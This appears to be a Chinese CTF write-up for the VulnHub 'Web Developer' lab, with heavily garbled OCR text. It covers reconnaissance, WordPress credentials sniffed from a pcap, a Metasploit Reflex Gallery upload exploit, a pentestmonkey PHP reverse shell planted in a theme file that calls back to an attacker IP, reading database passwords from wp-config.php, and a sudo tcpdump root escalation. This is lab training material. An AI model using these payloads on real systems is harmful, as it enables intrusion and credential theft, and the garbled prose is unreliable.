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FRAE B ASCRE ERAQISCE, #IE_CC 4.0 BY-SA RN, HEEM BRSO s M A S .
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LI H K. B BAREENEESRE, THCTFRERKN, BEMCTRRZENMIRTER, mMISC. PPC. WEB%, #idsEik,
R EARNMERE /1, HEBVIPCTFLRERRE I MG BWER . BBMEAR. HRIUHTTP web/lR%. HFAZE. #IL. BBER
FREL, HEBAEMEX TRRNEA.

RSB Kali Linux2. WebDeveloperfEHl>RJE:  https://ww.vulnhub.com/

SEWTHR: AR
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1. 4 RCTF

CTF (Capture The Flag) H XX —MRiFEFIESE, EMK R IBMRMEZEEARNRZ BBHITHEARFH K —FILEL
N CTFEIET19964EFDEFCONEIRBE KL, URBZATBEMEL EHARKEELLE#HITEALPHNGTR. KEES, B
LA EMNE Z2BRATHRERER, 2013FE2RES T T+ EFECTFHESE . MDEFCONEANCTFZEH KK IE
#, DEFCON CTFif AT H BT BB EBAKP LN I MCTFESE, KT CTFRG it FH7".

1.1 CTFH BN

(1) RN (Jeopardy) 7EMBBENXCTFRHF, SRIMETLET HBEMNBERMNESE, XHEAMCTFRERSACM
mIZEFE. B R REEHUBRM, UIRRM % 2 2 E RS B MEF FRHEE, @A TELRLRE. S FELSY
M. WEEZRE SR, WebisiZE. %5, BUE. BE. LamEFRI.

(2) B (Attack-Defense) FEXBIEARCTFSRHIH, S PMALERM 45 23 8] EAHBEAT B BT ~F, 3248 M 4% IRk 95 IR T I 2
X FRE KBS, BB FRFSIBIEBATRHEREE R E S . B CTF I G 7] LASSR @I /540 Bkt EE SR IE L, A& LAfE
SEESHES, R—MESFEE, RERBEUE NS AR NS 25 . EXMHENF, MUEESRINRWE S
MER, WA (FAME R RE48/M KL B, FRMEEARZ B S TRE561E.

(3) BEHERX (Mix) & THREEREHEIERCTFRES], S RMAIE T & AT DR — W46 7080, 285 8 B ot
PURAT R IR BRI, BAUES IR B . RABAEACTFEH N HERERMICTFERCTFRSE.

1.2 CTF & KER FE St

MISC (&ZA&Z:Ti)

ZFfRMiscellaneous. &HW KMEST. BFEUE. ANRERE. SIS, KREELATESE, BSELE . RITFRERR
HITREH; SHR—ANREBGILRSTKER: BUESHTEER, #BETRXEEH. FEEESHEFHSMEMEEIR, FE
BN 5] =5

PPC (%fE3%)

£ Professionally Program Coder. fEE# AKEEFHRE . MEFELI. HENERRS, MELES, AREARESL
B, SHENZ. LYRPPCHELACMEH, ERBEANEGK . ETREIESW, HEMHAPythonkEiK. X#HH»FEEER
T PROE IR TR AR

CRYPTO (%15%%)

£ FXCryptography. & HERZEMMBEEEAR, SFEHAMEER, IAMEZEAEZHEE BAMEREAR. XK BEICER
B%. XIS EEEZBESRETELFHERMR .

REVERSE (i A)

BEW R RAER ., WEBEAE, ERGEERMNRICH . RFEFHLEIR. FEEEILH, HR. FESTERAR. FFK
wiEEER . TEZEESRETFHOER SR WREHHRELTHERNERE S,

STEGA (j&B)

4 FRSteganography. #HKFlag&fE@BIE A B, MMESRBER AP HSRETF RN SER2R . 5. M
%, WHREBH T XK BAag, B K lagke e X B = ac E . AR ERTE B KR, 4
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RERI. WREBHFEXZBESHRETFINEMBELR,. BREHEENHTEE.

PWN (#H)

PWNZE BRMEHRRELR, WEMR, ACTFILEPERRERHRNEE, HbhE LAMEHRAAREN . HEEd.
TECTFELSEH, LR EWHESH, EHRUAIASKE, HANLTHIE, HAGEHNRENE MR E. FEERZSHETFIRIAE
AR FHBE ST

WEB (web3%)

WEBMHEAS KBRS 2, WRCTFFERFHKMEEEL, & B RIE LKWeblwiH, #EuEAN. XSS, XHaE8. K
HETE, AESRE, XSEEHARERMEN. LEEEH, 2025 -BRRadiE, FEEFHESESRE. HWebfH
REANUBEZHRAFUBRERNWEE . FNKEZHAFFIE RN web i FF 61 .

TR RN

Hi: FKEEEHLWeb Developer 3 f4/root/flag.xtflag.

BB AMNBIPHbEFEE A (netdiscover); 43 (Nmap); BUMHTTP f45: Mk H AL24(Dirb); RILEIE QI
“cap”; 4r#t “‘cap” X, REIMINEEEEKSEN: WmEFHA CBRED ; FARERERSEKSEW; SSHZBEEFRMR
%2%; tcpdump B KM .

LTI

1. RILEH (netdiscover), K E|WebDeveloperffjIPHilik. #E .

Currently scanning: Finished! | Screen View: Unigue Hosts

o

83 Captured ARP Req/Rep packets, from 4 hosts. Total size: 4980
At MAC Address Count Lenm MAC Vendor / Hostname

Inc.
Inc.
Inc.
Inc.

mtu 158
.8 br

Nmap scan r
Host is up
Not shown: 99

PORT STATE SERVICE
C ssh
http
: B@:0C:29:F1:6F:1D (VMware)

AT LLE B B AR EHUIFRCT 22,805 H, 223 DR FFfsshilk sy, 803 H FF MUK 2 http 55 .
2. HHRENRM THTTPERS, SRAAHRKETH HiRMs. 88, 2@EATHER?



Example site

Just another WordPress site

Hello world!

October 30,2018 Welcome to WordPress. This is your first post. Edit or delete it, then start

1 Comment writing!

A A 312 P 3k £ F wordpress/E R
3. FIHwhatweb#R E ¥5 M35 FH FICMSEAR . BB, S EHICMSZH A ?

132
Apache[2.4.29], Country[R 1, HTMLS, HTTPServer[ 1L 21.132], JQuery[1.12.4], MetaGenerator[Worc 81, PoweredBy[Worc

e site 5#8211; Just anoth ss site], UncommonHeaders[link], WordPress[4.9.8]



A] LA #Powered by wordpree, X3Ef# FFICMS Z&wordpress.
4. M Rwpscan, RIEHHEIIA.

WordPress version 4.9.8 identified (Insecure, released on 2018-28-82).

Found By: Rss Generator (Passive Detection)

- http://192.168.221.132/index.php/feed/, <generator>https://wordpress.org/?v=4.9.8</generator>

- http://192.168.221.132/index.php/comments/feed/, <generator>https://wordpress.org/?v=4.9.8</generator>

-] WordPress theme in use: twentysixteen
Location: http://192.168.221.132/wp-content/themes/twentysixteen/
Last Updated: 2020-08-11T00:00:00.0002
Readme: http://192.168.221.132/wp-content/themes/twentysixteen/readme.txt
[!] The version is out of date, the latest version is 2.2
Style URL: http://192.168.221.132/wp-content/themes/twentysixteen/style.css?ver=4.9.8
Style Name: Twenty Sixteen
Style URI: https://wordpress.org/themes/twentysixteen/
Description: Twenty Sixteen is a modernized take on an ever-popular WordPress layout — the horizontal masthead
Author: the WordPress team
Author URI: https://wordpress.org/

Found By: Css Style In Homepage (Passive Detection)
Version: 1.5 (8@% confidence)

Found By: Style (Passive Detection)
- http://192.168.221.132/wp-content/themes/twentysixteen/style.css?ver=4.9.8, Match: 'Version: 1.5'

] Enumerating ALl Plugins (via Passive Methods)
-] Checking Plugin Versions (via Passive and Aggressive Methods)

Plugin(s) Identified:

-] reflex-gallery
Location: http://192.168.221.132/wp-content/plugins/reflex-gallery/
Last Updated: 2019-85-10T16:@5:00.0002
[!] The version is out of date, the latest version is 3.1.7

Found By: Urls In Homepage (Passive Detection)
Versiom: 3.1.3 (80% confidence)

Found By: Readme - Stable Tag (Aggressive Detection)
- http://192.168.221.132 /wp-content/plugins/reflex-gallery/readme.txt

Enumerating Config Backups (via Passive and Aggressive Methods)

Cﬁecking Config Backups - Time: 00:00:00

No Config Backups Found.

1 No WPVulnDB API Token given, as a result vulnerability data has not been output. hitps://blog Lhdr1nPULL 48732306
] You can get a free API token with 50 daily requests by registering at https://wpvulndb.com/users/sign_

WPScan&ZKali LinuxZRil B —ZIBAAB TR, EXHARbYRE, B8 MWordPressMutd ()£ fh 24 iR, Hhadg
WordPressZ & [ 1R M X BRI . BBt AWPScanif 35 B o a4 #id 180005 1 12 Ik R A12600/H £ iR H, 7
B X B A I WordPress. ERERKZ, EAMMUERE K Blrobots txtiX HE I BUR ST, T B BRI 24 57 2 )5 A K
R H AR T RE

5. {&H Dirb BBEMuEEHFE. (Dirb B—AMNEITHTRBEERMILE, £ Kali #ERACE R, KUTREHEEIK

patator, dirsearch, DirBuster, EWHMES)D #E. B —MIFRMERERRKEF BB

GENERATED WORDS: 4612

—— Scanning URL: http://192.168.221.132/ ——

+ http://192.168.221.132/index.php (CODE:3@1|SIZE:@)

— DIRECTORY: http://192.168.221.132/ipdata/

+ http://192.168.221.132/server-status (CODE:403|SIZE:303)
=—> DIRECTORY: http://192.168.221.132/wp-admin/

— DIRECTORY: http://192.168.221.132/wp-content/

=—> DIRECTORY: http://192.168.221.132/wp-includes/

+ http://192.168.221.132/xmlrpc.php (CUDE:#@S|S[ZE:&2]

Entering directory: [jadsH
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

—— Entering directory: http://192.168.221.132/wp-admin/ ——
+ http fflgz 168.221. 132iwp admlniadnttp nﬁdu@:ﬂﬁﬁnﬂ@uamzam%%




6. WREBWHZER (BE) , KA—capxXfh. #E.

Index of /ipdata

<« C @

Kali Linux Kali Training Kali Tools « Kali Docs Kali Forums

Index of /ipdata

Name Last modified Size Description

a Parent Directory -
[?] analyze.cap 2018-10-30 09:14 2.8M

Apache/2.4.29 (Ubuntu) Server at 192.168.221.132 Port 80

7. FFAWireshark 3 Hriz$dEE, HHTCPEWER. HAMF2FHMEL? HE.

Form i : "log" = "webdeveloper"
Form item: "pwd" = "TeSe sBS!Yr$)wf%(DcAd"
Form i : "wp-submit" = "Log In"

Form i : "redirect_to" = "http://192.168.1.176/wordpress/wp-admin/"
Form item: "testcookie" = "1"

4

http.request.method==POSTX} #4E BEAT ik, PHA—MRERD K HR A ER R FHPOSTHEIRATHI, B LAIX A I 16 1R 7T 68 AT LAFR 2125
e RERIT logfpwdiX AN EIER, B AN ERKSHG.

8. FIHEL—SRANEEHEAMEEE. BE.

POST fwp-login.php HTTP/1.1

Host: 192.168.221,132

User-Agent: Mozilla/s5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*%/*;q=0.8
Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.221.132/wp-login. php

Content-Type: application/x-www-form-urlencoded

Content-Length: &6

Connection: close

Cookie: wp-settings-time-1=1607247832; wordpress_test_cookie=WP+Cookie+check
Upgrade-Insecure-Requests: 1

log=&pwd=&wp-submit=Log+In&redirect_to=%2FPwp-admin%2F&testcookie=1



S NG R HEERAK S ELRS, ATRRBITMARKSELBRENET, ERAEER, RINEZHTEcap X HREIK
MELHIK S FELBEREE.

Burp Project Intruder Repeater Window Help

_[ Intercept T HTTP history TwebSockets history T Options ]

£ Requestto hitp:/f192.168.221.132:80

l Forward J l Drop J |’ Interceptis on \| Action

Raw | Params | Headers | Hex

POST fwp-login.php HTTP/1.1

Host: 192,168 221.132

User-Agent: Mozilla/5.0 (X11: Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;g=0.9,%/%;q=0.8
Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.221.132/wp-login.php

Content-Type: application/x-www-form-urlencoded

Content -Length: &6

0 Connection: close

11 Cookie: wp-settings-time-1=1607247832; wordpress_test_cookie=WP+Cookie+check

12 Upgrade-Insecure-Requests: 1

13

14 log=webdeveloper‘&pud=Te5e0g‘-264sBS“u21Yr‘u24‘-29wf‘-25‘-28DcAd&up—submi‘t=Log+In&redirec‘t_‘to=http“-3A‘-2F"u2F192.163‘1.176‘-2!5».-'0rdpress‘-QFVpfadmin‘-QF&tes‘tccokie=l|

- I T ISR

—
=]

JBUAT B AT 2\ B2 53 IR

Dashboard < Example site — X  %f Preferences

18
liTools = Kali Docs Kali Forums NetHunter |[| Offe

W

@ Dashboard
Please update now.

WordPress 5.6 is available!

Home

Dashboard

A new, modern publishing experience is com
Take your words, media, and layout in new directions with

Screenshot from the Gutenberg interface



(M EHE RS 58RERAKSRARBEE)
9. MMIZCMSHFER GEfFPlugin) FiH.

ReFlex Gallery Wordpress Plugin for creating responsive image galleries. By: HahnCreativeGroup

Lz ot Version 3.1.3 | By HahnCreativeGroup | View details

¥ Thereis a new version of ReFlex Gallery available. View version 3.1.7 details or update now.

X B E g Hreflex gallery i, BiX BHEFEIAIRAZ K, FHHRRAMRE TEEIMERBET .

10, FIFH ZIEF IR IR IR AL

%7 %1 FFMeterSploitifi {4 +reflex galleryf IR LM . Z¥reflex galleryd@if:. FIH Z3E 4 AT BEFE IR .  GRAZNR
I=9)

BN EEE, BEwp-config.phpIRBKS kK O4. (MEXHREE, XMAGWEREH) .

RENKS. OLSRARGAM 4 BR? EESETSH#HEBLE.

Name Disclosure Date Rank C Kk Description

exploit/uni ebapp/wp_reflexgallery_file_upload excellent Ye Wordpress Reflex Gallery Upload Vulnerability

d configured, defaulting to php/meterpre verse_tcp

T Fmsf, R BreflexfIHHLIRIA, use.

msf5 exploit( ) » show options
Module options (exploit/unix/webapp/wp_ref gallery_file_upload):
Name Current Setting Required Description

ain of format e:host:port[,type:host:port]
CIDR identifier, or hosts file

for outgoing conn

the wordpress appl
tual host

load options (php/meterpre

Name Current

ting Required Description

s The listen address (an interface may be specified)
s The listen port




Show options&EE FE K E KNS .

RHOST 192.16

erse TCP hand ; . .
d is at: uRVhyyuUIoIyVu.php. Calling

erpr r session 1 opened (192.16
[+] Deleted hyyuUTIoIyVu.php

meterpr

HERHOSTHCHA H A7 lp.
Run
il RELEATICEHEN T TR B 3%

> pwd
‘wp-content/uploads/2

Mode s ype a Name

4

g 12:13:3 D4E readme.html

te.php
wp-admin
wp-blog-header.php
wp-comments-post.php
wp-config-sample.php
wp-content
wp-cron.php
wp-includes
wp-links-opml.php
wp-load.php
wp-login.php
wp-mail.php
wp-settings.php
Wp-sis
wp-t

'.‘
]
1

[ e e e e e i ol
RSP B E

[ e e e e e el
P - - -

& #lwp-config.php
cat wp-config.php

ase username =/
ebd loper

e password =/
ORD", "MasterOfTheUniverse'




RIMysqlifs F 7 4 ARG .

A% %R2: bAE R Hshells

http://pentestmonkey.net/tools/web-shells/php-reverse-shell

[HK: PHPMuEE; LP@E. BAEMINE, URLYE(&H)iZREshell TTTH .

The: EMALKRRBTCPERBWSHE (WA TR ERHEPRIA®ROS) . ]
ECMSAHPHPH &, 7 AR H LIl & #ishell. ELAEHAIEMLIPHNEAS O, (FBREBEHE) .

L
, it QI L)
il ‘ ol | lusrfsharefwebshells/php St o0
F7OunE CUNPLIS"LAmNME UPLLUITS arc 1nccucy 1TUl gacmomilsaciurn (LIRS puincec,
posix). These are rarely available.
i
// Usage
I ===
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set time limit (©);

$VERSION = "1.0";

$ip = '10.0.2.14'; // CHANGE THIS
$port = 4444; // CHANGE THIS
$chunk size = 1400;
$write a = null;
$error a = null;
$shell = 'uname -a; w;
$daemon = ©;

$debug = @;

id: /bin/sh -i‘;

PHP + Tab Width: 8 « in &5, Col 3 - inNg



HNEE, REMEE—APHPRE, #RJ5#Hphp-reverse-shell. PHP KIS i i% 7 T FI ARG

@ Dashboard

WordPress 5.1 is available! Please update now

Home

Dashboard

A new, modern publishing experience is coming soon.

Test the new editor today.

Not quite ready?

You can take Gutenberg for a spin The new editor will be enabled by

and share your feedback, if

ficially release

Welcome to WordPress!

10.0.2.11/wp-admin/theme-editor.php ...

BRI 3 B AR IPHihE & i 0 (B BCAB T PR R IT IS 05D .
FICE R T FIRARE SR T R #shell KA

Twenty Sixteen: Search Results (search.php)

Selected file content:

A4 j‘! .....
45 // See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

47 set time limit (0);

48 $VERSION = "1.0";

49 $ip = '192.168.221.129'; // CHANGE THIS
50 $port = 4444, J// CHANGE THIS

1 $chunk size = 1400;

52 $write a = null;

3 $error_a = null;

54 %shell = 'uname -a; w; id; /bin/sh -1i';
55 $daemon = 0;
56 $debug = 8;

Wi ZAEKal PR FANCTF G YT, Bradi w885 b B PHP R E . M52 K #shel (FHPwww-data) . B &iEfE, &
FEwp-config.phpIRFK S K O4. CGERER



BEEER

sdsd|

‘n start

GNU/Linux

$ pwd

AURARMNCEETR T BARRER.
cat /var/www/html/wp-config.php

$ cat wp-config.php
php

*

The base configuration for WordPress
The wp-config.php creation script
installation. You don't

copy this file to "wp-config.php”

This file contains the following configurations:

*
*
*
*

* o % % * % ¥ ¥ * ¥ d ¥ ¥ ¥ ¥ ¥

&

J** MysSQL database pas
([ "DB_PASSWORD",

JR3: FHAXHEEEM (File manager) K.
Rz, B A %wp-config.php.

PAETTR=8—, BEREITLASEIET R, RIEPEREE.



10, SSHEFR4 2%
SRR A E— B IRB U5 B E R R P 2 ME S ERT RS . 2.
1. ZikAF/rootflag.txt LA T AR B4 REBEBHRUTEE.
AR K SSHAR K2R HI 1k
ssh F /' &2 @ H trip

li:~# s

loper@192. 1¢

come to Ubuntu
help.ubuntu.com

landscap nonical
ubuntu.c

nory e LB% IP address for eth@:
ap !

ty certifications for Ubuntu!
re FIPS, 5TIG, CC and a CIS Benchmark.

curity_Certification

1 highly secure kiosk, smart displ ouchsc
a step-by-step tutorial for a rainy we

y/secure-kiosk

an be updated.

urity updates

webde
[sudo]
Sorry,
[sudo]
Sorry,
[sudo]
Sorry, : '/bin/fcat / /flag.tx as root on webdeveloper.

BLEEE

10, f# HtcpdumpPATIEE 4L (Atcpdumpi KB HIEALE S HITIREK & L. )
BHE LTS O AT PAT 64 .

RILAT LhrootA PR $44T tepdump s 4

lfESiaiprats



touch /tmp/exploitl

5 A\shellcode
echo /tmp/exploit

T T AT $RAT AR

chmod +x /tmp/exploit

F FtcpdumpPATIEE 4

sudo tcpdump -i eth® -w /dev/null -W 1 -G 1 -z /tmp/exploit -Z root

Fkf5flag

tcpdump iy & AR :

-i eth0 M¥8E MR IREIE R

-w /devinull ¥R B W EIE B HH BT RE (RaHEdER%ER)

-z [command] 1217 ¥ =& K iy &

-Z [user] #8 & Fi P #1475 &

-G [rotate_seconds] #frotate_seconds®s — IR I3 R 14T -wi 2 K #5fik
-W [num] #5 & Il 5 &
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